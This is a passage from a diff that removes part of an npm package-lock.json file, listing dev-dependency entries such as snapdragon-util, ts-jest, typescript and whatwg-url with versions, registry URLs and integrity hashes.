"is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" - } - }, - "isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true - } - } - }, - "snapdragon-util": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/snapdragon-util/-/snapdragon-util-3.0.1.tgz", - "integrity": "sha512-mbKkMdQKsjX4BAL4bRYTj21edOf8cN7XHdYUJEe+Zn99hVEYcMvKPct1IqNe7+AZPirn8BCDOQBHQZknqmKlZQ==", - "dev": true, - "requires": { - "kind-of": "^3.2.0" - }, - "dependencies": { - "kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "requires": { - "is-buffer": "^1.1.5" - } - } - } - }, - "source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true - }, - "source-map-resolve": { - "version": "0.5.3", - "resolved": "https://registry.npmjs.org/source-map-resolve/-/source-map-resolve-0.5.3.tgz", - "integrity": "sha512-Htz+RnsXWk5+P2slx5Jh3Q66vhQj1Cllm0zvnaY98+NFx+Dv2CF/f5O/t8x+KaNdrdIAsruNzoh/KpialbqAnw==", - "dev": true, - "requires": { - "atob": "^2.1.2", - "decode-uri-component": "^0.2.0", - "resolve-url": "^0.2.1", - "source-map-url": "^0.4.0", - "urix": "^0.1.0" - } - }, - "source-map-support": { - "version": "0.5.19", - "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.19.tgz", - "integrity": "sha512-Wonm7zOCIJzBGQdB+thsPar0kYuCIzYvxZwlBa87yi/Mdjv7Tip2cyVbLj5o0cFPN4EVkuTwb3GDDyUx2DGnGw==", - "dev": true, - "requires": { - "buffer-from": "^1.0.0", - "source-map": "^0.6.0" - } - }, - "source-map-url": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/source-map-url/-/source-map-url-0.4.0.tgz", - "integrity": "sha1-PpNdfd1zYxuXZZlW1VEo6HtQhKM=", - "dev": true - }, - "spdx-correct": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.1.0.tgz", - "integrity": "sha512-lr2EZCctC2BNR7j7WzJ2FpDznxky1sjfxvvYEyzxNyb6lZXHODmEoJeFu4JupYlkfha1KZpJyoqiJ7pgA1qq8Q==", - "dev": true, - "requires": { - "spdx-expression-parse": "^3.0.0", - "spdx-license-ids": "^3.0.0" - } - }, - "spdx-exceptions": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.3.0.tgz", - "integrity": "sha512-/tTrYOC7PPI1nUAgx34hUpqXuyJG+DTHJTnIULG4rDygi4xu/tfgmq1e1cIRwRzwZgo4NLySi+ricLkZkw4i5A==", - "dev": true - }, - "spdx-expression-parse": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.1.tgz", - "integrity": "sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q==", - "dev": true, - "requires": { - "spdx-exceptions": "^2.1.0", - "spdx-license-ids": "^3.0.0" - } - }, - "spdx-license-ids": { - "version": "3.0.5", - "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.5.tgz", - "integrity": "sha512-J+FWzZoynJEXGphVIS+XEh3kFSjZX/1i9gFBaWQcB+/tmpe2qUsSBABpcxqxnAxFdiUFEgAX1bjYGQvIZmoz9Q==", - "dev": true - }, - "split-string": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/split-string/-/split-string-3.1.0.tgz", - "integrity": "sha512-NzNVhJDYpwceVVii8/Hu6DKfD2G+NrQHlS/V/qgv763EYudVwEcMQNxd2lh+0VrUByXN/oJkl5grOhYWvQUYiw==", - "dev": true, - "requires": { - "extend-shallow": "^3.0.0" - } - }, - "sprintf-js": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", - "integrity": "sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=", - "dev": true - }, - "sshpk": { - "version": "1.16.1", - "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.16.1.tgz", - "integrity": "sha512-HXXqVUq7+pcKeLqqZj6mHFUMvXtOJt1uoUx09pFW6011inTMxqI8BA8PM95myrIyyKwdnzjdFjLiE6KBPVtJIg==", - "dev": true, - "requires": { - "asn1": "~0.2.3", - "assert-plus": "^1.0.0", - "bcrypt-pbkdf": "^1.0.0", - "dashdash": "^1.12.0", - "ecc-jsbn": "~0.1.1", - "getpass": "^0.1.1", - "jsbn": "~0.1.0", - "safer-buffer": "^2.0.2", - "tweetnacl": "~0.14.0" - } - }, - "stack-utils": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/stack-utils/-/stack-utils-2.0.2.tgz", - "integrity": "sha512-0H7QK2ECz3fyZMzQ8rH0j2ykpfbnd20BFtfg/SqVC2+sCTtcw0aDTGB7dk+de4U4uUeuz6nOtJcrkFFLG1B0Rg==", - "dev": true, - "requires": { - "escape-string-regexp": "^2.0.0" - }, - "dependencies": { - "escape-string-regexp": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz", - "integrity": "sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==", - "dev": true - } - } - }, - "static-extend": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/static-extend/-/static-extend-0.1.2.tgz", - "integrity": "sha1-YICcOcv/VTNyJv1eC1IPNB8ftcY=", - "dev": true, - "requires": { - "define-property": "^0.2.5", - "object-copy": "^0.1.0" - }, - "dependencies": { - "define-property": { - "version": "0.2.5", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", - "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", - "dev": true, - "requires": { - "is-descriptor": "^0.1.0" - } - } - } - }, - "stealthy-require": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/stealthy-require/-/stealthy-require-1.1.1.tgz", - "integrity": "sha1-NbCYdbT/SfJqd35QmzCQoyJr8ks=", - "dev": true - }, - "string-length": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/string-length/-/string-length-4.0.1.tgz", - "integrity": "sha512-PKyXUd0LK0ePjSOnWn34V2uD6acUWev9uy0Ft05k0E8xRW+SKcA0F7eMr7h5xlzfn+4O3N+55rduYyet3Jk+jw==", - "dev": true, - "requires": { - "char-regex": "^1.0.2", - "strip-ansi": "^6.0.0" - } - }, - "string-width": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.0.tgz", - "integrity": "sha512-zUz5JD+tgqtuDjMhwIg5uFVV3dtqZ9yQJlZVfq4I01/K5Paj5UHj7VyrQOJvzawSVlKpObApbfD0Ed6yJc+1eg==", - "dev": true, - "requires": { - "emoji-regex": "^8.0.0", - "is-fullwidth-code-point": "^3.0.0", - "strip-ansi": "^6.0.0" - } - }, - "strip-ansi": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", - "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", - "dev": true, - "requires": { - "ansi-regex": "^5.0.0" - } - }, - "strip-bom": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-4.0.0.tgz", - "integrity": "sha512-3xurFv5tEgii33Zi8Jtp55wEIILR9eh34FAW00PZf+JnSsTmV/ioewSgQl97JHvgjoRGwPShsWm+IdrxB35d0w==", - "dev": true - }, - "strip-eof": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/strip-eof/-/strip-eof-1.0.0.tgz", - "integrity": "sha1-u0P/VZim6wXYm1n80SnJgzE2Br8=", - "dev": true - }, - "strip-final-newline": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-2.0.0.tgz", - "integrity": "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==", - "dev": true - }, - "strip-json-comments": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.0.tgz", - "integrity": "sha512-e6/d0eBu7gHtdCqFt0xJr642LdToM5/cN4Qb9DbHjVx1CP5RyeM+zH7pbecEmDv/lBqb0QH+6Uqq75rxFPkM0w==", - "dev": true - }, - "supports-color": { - "version": "7.1.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.1.0.tgz", - "integrity": "sha512-oRSIpR8pxT1Wr2FquTNnGet79b3BWljqOuoW/h4oBhxJ/HUbX5nX6JSruTkvXDCFMwDPvsaTTbvMLKZWSy0R5g==", - "dev": true, - "requires": { - "has-flag": "^4.0.0" - } - }, - "supports-hyperlinks": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/supports-hyperlinks/-/supports-hyperlinks-2.1.0.tgz", - "integrity": "sha512-zoE5/e+dnEijk6ASB6/qrK+oYdm2do1hjoLWrqUC/8WEIW1gbxFcKuBof7sW8ArN6e+AYvsE8HBGiVRWL/F5CA==", - "dev": true, - "requires": { - "has-flag": "^4.0.0", - "supports-color": "^7.0.0" - } - }, - "symbol-tree": { - "version": "3.2.4", - "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz", - "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==", - "dev": true - }, - "table": { - "version": "5.4.6", - "resolved": "https://registry.npmjs.org/table/-/table-5.4.6.tgz", - "integrity": "sha512-wmEc8m4fjnob4gt5riFRtTu/6+4rSe12TpAELNSqHMfF3IqnA+CH37USM6/YR3qRZv7e56kAEAtd6nKZaxe0Ug==", - "dev": true, - "requires": { - "ajv": "^6.10.2", - "lodash": "^4.17.14", - "slice-ansi": "^2.1.0", - "string-width": "^3.0.0" - }, - "dependencies": { - "ansi-regex": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz", - "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==", - "dev": true - }, - "emoji-regex": { - "version": "7.0.3", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz", - "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==", - "dev": true - }, - "is-fullwidth-code-point": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", - "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", - "dev": true - }, - "string-width": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz", - "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==", - "dev": true, - "requires": { - "emoji-regex": "^7.0.1", - "is-fullwidth-code-point": "^2.0.0", - "strip-ansi": "^5.1.0" - } - }, - "strip-ansi": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", - "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", - "dev": true, - "requires": { - "ansi-regex": "^4.1.0" - } - } - } - }, - "terminal-link": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/terminal-link/-/terminal-link-2.1.1.tgz", - "integrity": "sha512-un0FmiRUQNr5PJqy9kP7c40F5BOfpGlYTrxonDChEZB7pzZxRNp/bt+ymiy9/npwXya9KH99nJ/GXFIiUkYGFQ==", - "dev": true, - "requires": { - "ansi-escapes": "^4.2.1", - "supports-hyperlinks": "^2.0.0" - } - }, - "test-exclude": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/test-exclude/-/test-exclude-6.0.0.tgz", - "integrity": "sha512-cAGWPIyOHU6zlmg88jwm7VRyXnMN7iV68OGAbYDk/Mh/xC/pzVPlQtY6ngoIH/5/tciuhGfvESU8GrHrcxD56w==", - "dev": true, - "requires": { - "@istanbuljs/schema": "^0.1.2", - "glob": "^7.1.4", - "minimatch": "^3.0.4" - } - }, - "text-table": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", - "integrity": "sha1-f17oI66AUgfACvLfSoTsP8+lcLQ=", - "dev": true - }, - "throat": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/throat/-/throat-5.0.0.tgz", - "integrity": "sha512-fcwX4mndzpLQKBS1DVYhGAcYaYt7vsHNIvQV+WXMvnow5cgjPphq5CaayLaGsjRdSCKZFNGt7/GYAuXaNOiYCA==", - "dev": true - }, - "through": { - "version": "2.3.8", - "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", - "integrity": "sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=", - "dev": true - }, - "tmp": { - "version": "0.0.33", - "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.0.33.tgz", - "integrity": "sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==", - "dev": true, - "requires": { - "os-tmpdir": "~1.0.2" - } - }, - "tmpl": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/tmpl/-/tmpl-1.0.4.tgz", - "integrity": "sha1-I2QN17QtAEM5ERQIIOXPRA5SHdE=", - "dev": true - }, - "to-fast-properties": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz", - "integrity": "sha1-3F5pjL0HkmW8c+A3doGk5Og/YW4=", - "dev": true - }, - "to-object-path": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/to-object-path/-/to-object-path-0.3.0.tgz", - "integrity": "sha1-KXWIt7Dn4KwI4E5nL4XB9JmeF68=", - "dev": true, - "requires": { - "kind-of": "^3.0.2" - }, - "dependencies": { - "kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "requires": { - "is-buffer": "^1.1.5" - } - } - } - }, - "to-regex": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/to-regex/-/to-regex-3.0.2.tgz", - "integrity": "sha512-FWtleNAtZ/Ki2qtqej2CXTOayOH9bHDQF+Q48VpWyDXjbYxA4Yz8iDB31zXOBUlOHHKidDbqGVrTUvQMPmBGBw==", - "dev": true, - "requires": { - "define-property": "^2.0.2", - "extend-shallow": "^3.0.2", - "regex-not": "^1.0.2", - "safe-regex": "^1.1.0" - } - }, - "to-regex-range": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", - "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", - "dev": true, - "requires": { - "is-number": "^7.0.0" - } - }, - "tough-cookie": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-3.0.1.tgz", - "integrity": "sha512-yQyJ0u4pZsv9D4clxO69OEjLWYw+jbgspjTue4lTQZLfV0c5l1VmK2y1JK8E9ahdpltPOaAThPcp5nKPUgSnsg==", - "dev": true, - "requires": { - "ip-regex": "^2.1.0", - "psl": "^1.1.28", - "punycode": "^2.1.1" - } - }, - "tr46": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/tr46/-/tr46-2.0.2.tgz", - "integrity": "sha512-3n1qG+/5kg+jrbTzwAykB5yRYtQCTqOGKq5U5PE3b0a1/mzo6snDhjGS0zJVJunO0NrT3Dg1MLy5TjWP/UJppg==", - "dev": true, - "requires": { - "punycode": "^2.1.1" - } - }, - "ts-jest": { - "version": "26.0.0", - "resolved": "https://registry.npmjs.org/ts-jest/-/ts-jest-26.0.0.tgz", - "integrity": "sha512-eBpWH65mGgzobuw7UZy+uPP9lwu+tPp60o324ASRX4Ijg8UC5dl2zcge4kkmqr2Zeuk9FwIjvCTOPuNMEyGWWw==", - "dev": true, - "requires": { - "bs-logger": "0.x", - "buffer-from": "1.x", - "fast-json-stable-stringify": "2.x", - "json5": "2.x", - "lodash.memoize": "4.x", - "make-error": "1.x", - "micromatch": "4.x", - "mkdirp": "1.x", - "semver": "7.x", - "yargs-parser": "18.x" - }, - "dependencies": { - "semver": { - "version": "7.3.2", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.2.tgz", - "integrity": "sha512-OrOb32TeeambH6UrhtShmF7CRDqhL6/5XpPNp2DuRH6+9QLw/orhp72j87v8Qa1ScDkvrrBNpZcDejAirJmfXQ==", - "dev": true - } - } - }, - "tslib": { - "version": "1.13.0", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz", - "integrity": "sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q==", - "dev": true - }, - "tsutils": { - "version": "3.17.1", - "resolved": "https://registry.npmjs.org/tsutils/-/tsutils-3.17.1.tgz", - "integrity": "sha512-kzeQ5B8H3w60nFY2g8cJIuH7JDpsALXySGtwGJ0p2LSjLgay3NdIpqq5SoOBe46bKDW2iq25irHCr8wjomUS2g==", - "dev": true, - "requires": { - "tslib": "^1.8.1" - } - }, - "tunnel": { - "version": "0.0.6", - "resolved": "https://registry.npmjs.org/tunnel/-/tunnel-0.0.6.tgz", - "integrity": "sha512-1h/Lnq9yajKY2PEbBadPXj3VxsDDu844OnaAo52UVmIzIvwwtBPIuNvkjuzBlTWpfJyUbG3ez0KSBibQkj4ojg==", - "dev": true - }, - "tunnel-agent": { - "version": "0.6.0", - "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz", - "integrity": "sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=", - "dev": true, - "requires": { - "safe-buffer": "^5.0.1" - } - }, - "tweetnacl": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz", - "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=", - "dev": true - }, - "type-check": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz", - "integrity": "sha1-WITKtRLPHTVeP7eE8wgEsrUg23I=", - "dev": true, - "requires": { - "prelude-ls": "~1.1.2" - } - }, - "type-detect": { - "version": "4.0.8", - "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz", - "integrity": "sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==", - "dev": true - }, - "type-fest": { - "version": "0.8.1", - "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.8.1.tgz", - "integrity": "sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==", - "dev": true - }, - "typedarray-to-buffer": { - "version": "3.1.5", - "resolved": "https://registry.npmjs.org/typedarray-to-buffer/-/typedarray-to-buffer-3.1.5.tgz", - "integrity": "sha512-zdu8XMNEDepKKR+XYOXAVPtWui0ly0NtohUscw+UmaHiAWT8hrV1rr//H6V+0DvJ3OQ19S979M0laLfX8rm82Q==", - "dev": true, - "requires": { - "is-typedarray": "^1.0.0" - } - }, - "typescript": { - "version": "3.9.3", - "resolved": "https://registry.npmjs.org/typescript/-/typescript-3.9.3.tgz", - "integrity": "sha512-D/wqnB2xzNFIcoBG9FG8cXRDjiqSTbG2wd8DMZeQyJlP1vfTkIxH4GKveWaEBYySKIg+USu+E+EDIR47SqnaMQ==", - "dev": true - }, - "union-value": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/union-value/-/union-value-1.0.1.tgz", - "integrity": "sha512-tJfXmxMeWYnczCVs7XAEvIV7ieppALdyepWMkHkwciRpZraG/xwT+s2JN8+pr1+8jCRf80FFzvr+MpQeeoF4Xg==", - "dev": true, - "requires": { - "arr-union": "^3.1.0", - "get-value": "^2.0.6", - "is-extendable": "^0.1.1", - "set-value": "^2.0.1" - } - }, - "universal-user-agent": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/universal-user-agent/-/universal-user-agent-5.0.0.tgz", - "integrity": "sha512-B5TPtzZleXyPrUMKCpEHFmVhMN6EhmJYjG5PQna9s7mXeSqGTLap4OpqLl5FCEFUI3UBmllkETwKf/db66Y54Q==", - "dev": true, - "requires": { - "os-name": "^3.1.0" - } - }, - "unset-value": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/unset-value/-/unset-value-1.0.0.tgz", - "integrity": "sha1-g3aHP30jNRef+x5vw6jtDfyKtVk=", - "dev": true, - "requires": { - "has-value": "^0.3.1", - "isobject": "^3.0.0" - }, - "dependencies": { - "has-value": { - "version": "0.3.1", - "resolved": "https://registry.npmjs.org/has-value/-/has-value-0.3.1.tgz", - "integrity": "sha1-ex9YutpiyoJ+wKIHgCVlSEWZXh8=", - "dev": true, - "requires": { - "get-value": "^2.0.3", - "has-values": "^0.1.4", - "isobject": "^2.0.0" - }, - "dependencies": { - "isobject": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-2.1.0.tgz", - "integrity": "sha1-8GVWEJaj8dou9GJy+BXIQNh+DIk=", - "dev": true, - "requires": { - "isarray": "1.0.0" - } - } - } - }, - "has-values": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/has-values/-/has-values-0.1.4.tgz", - "integrity": "sha1-bWHeldkd/Km5oCCJrThL/49it3E=", - "dev": true - }, - "isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true - } - } - }, - "uri-js": { - "version": "4.2.2", - "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.2.2.tgz", - "integrity": "sha512-KY9Frmirql91X2Qgjry0Wd4Y+YTdrdZheS8TFwvkbLWf/G5KNJDCh6pKL5OZctEW4+0Baa5idK2ZQuELRwPznQ==", - "dev": true, - "requires": { - "punycode": "^2.1.0" - } - }, - "urix": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/urix/-/urix-0.1.0.tgz", - "integrity": "sha1-2pN/emLiH+wf0Y1Js1wpNQZ6bHI=", - "dev": true - }, - "use": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/use/-/use-3.1.1.tgz", - "integrity": "sha512-cwESVXlO3url9YWlFW/TA9cshCEhtu7IKJ/p5soJ/gGpj7vbvFrAY/eIioQ6Dw23KjZhYgiIo8HOs1nQ2vr/oQ==", - "dev": true - }, - "uuid": { - "version": "7.0.3", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-7.0.3.tgz", - "integrity": "sha512-DPSke0pXhTZgoF/d+WSt2QaKMCFSfx7QegxEWT+JOuHF5aWrKEn0G+ztjuJg/gG8/ItK+rbPCD/yNv8yyih6Cg==", - "dev": true, - "optional": true - }, - "v8-compile-cache": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/v8-compile-cache/-/v8-compile-cache-2.1.0.tgz", - "integrity": "sha512-usZBT3PW+LOjM25wbqIlZwPeJV+3OSz3M1k1Ws8snlW39dZyYL9lOGC5FgPVHfk0jKmjiDV8Z0mIbVQPiwFs7g==", - "dev": true - }, - "v8-to-istanbul": { - "version": "4.1.4", - "resolved": "https://registry.npmjs.org/v8-to-istanbul/-/v8-to-istanbul-4.1.4.tgz", - "integrity": "sha512-Rw6vJHj1mbdK8edjR7+zuJrpDtKIgNdAvTSAcpYfgMIw+u2dPDntD3dgN4XQFLU2/fvFQdzj+EeSGfd/jnY5fQ==", - "dev": true, - "requires": { - "@types/istanbul-lib-coverage": "^2.0.1", - "convert-source-map": "^1.6.0", - "source-map": "^0.7.3" - }, - "dependencies": { - "source-map": { - "version": "0.7.3", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.3.tgz", - "integrity": "sha512-CkCj6giN3S+n9qrYiBTX5gystlENnRW5jZeNLHpe6aue+SrHcG5VYwujhW9s4dY31mEGsxBDrHR6oI69fTXsaQ==", - "dev": true - } - } - }, - "validate-npm-package-license": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz", - "integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==", - "dev": true, - "requires": { - "spdx-correct": "^3.0.0", - "spdx-expression-parse": "^3.0.0" - } - }, - "verror": { - "version": "1.10.0", - "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz", - "integrity": "sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=", - "dev": true, - "requires": { - "assert-plus": "^1.0.0", - "core-util-is": "1.0.2", - "extsprintf": "^1.2.0" - } - }, - "w3c-hr-time": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/w3c-hr-time/-/w3c-hr-time-1.0.2.tgz", - "integrity": "sha512-z8P5DvDNjKDoFIHK7q8r8lackT6l+jo/Ye3HOle7l9nICP9lf1Ci25fy9vHd0JOWewkIFzXIEig3TdKT7JQ5fQ==", - "dev": true, - "requires": { - "browser-process-hrtime": "^1.0.0" - } - }, - "w3c-xmlserializer": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-2.0.0.tgz", - "integrity": "sha512-4tzD0mF8iSiMiNs30BiLO3EpfGLZUT2MSX/G+o7ZywDzliWQ3OPtTZ0PTC3B3ca1UAf4cJMHB+2Bf56EriJuRA==", - "dev": true, - "requires": { - "xml-name-validator": "^3.0.0" - } - }, - "walker": { - "version": "1.0.7", - "resolved": "https://registry.npmjs.org/walker/-/walker-1.0.7.tgz", - "integrity": "sha1-L3+bj9ENZ3JisYqITijRlhjgKPs=", - "dev": true, - "requires": { - "makeerror": "1.0.x" - } - }, - "webidl-conversions": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-6.1.0.tgz", - "integrity": "sha512-qBIvFLGiBpLjfwmYAaHPXsn+ho5xZnGvyGvsarywGNc8VyQJUMHJ8OBKGGrPER0okBeMDaan4mNBlgBROxuI8w==", - "dev": true - }, - "whatwg-encoding": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-1.0.5.tgz", - "integrity": "sha512-b5lim54JOPN9HtzvK9HFXvBma/rnfFeqsic0hSpjtDbVxR3dJKLc+KB4V6GgiGOvl7CY/KNh8rxSo9DKQrnUEw==", - "dev": true, - "requires": { - "iconv-lite": "0.4.24" - } - }, - "whatwg-mimetype": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-2.3.0.tgz", - "integrity": "sha512-M4yMwr6mAnQz76TbJm914+gPpB/nCwvZbJU28cUD6dR004SAxDLOOSUaB1JDRqLtaOV/vi0IC5lEAGFgrjGv/g==", - "dev": true - }, - "whatwg-url": { - "version": "8.1.0", - "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-8.1.0.tgz", - "integrity": "sha512-vEIkwNi9Hqt4TV9RdnaBPNt+E2Sgmo3gePebCRgZ1R7g6d23+53zCTnuB0amKI4AXq6VM8jj2DUAa0S1vjJxkw==", - "dev": true, - "requires": { - "lodash.sortby": "^4.7.0", - "tr46": "^2.0.2", - "webidl-conversions": "^5.0.0" - }, - "dependencies": { - "webidl-conversions": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-5.0.0.tgz", - "integrity": "sha512-VlZwKPCkYKxQgeSbH5EyngOmRp7Ww7I9rQLERETtf5ofd9pGeswWiOtogpEO850jziPRarreGxn5QIiTqpb2wA==", - "dev": true - } - } - }, - "which": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", - "integrity": 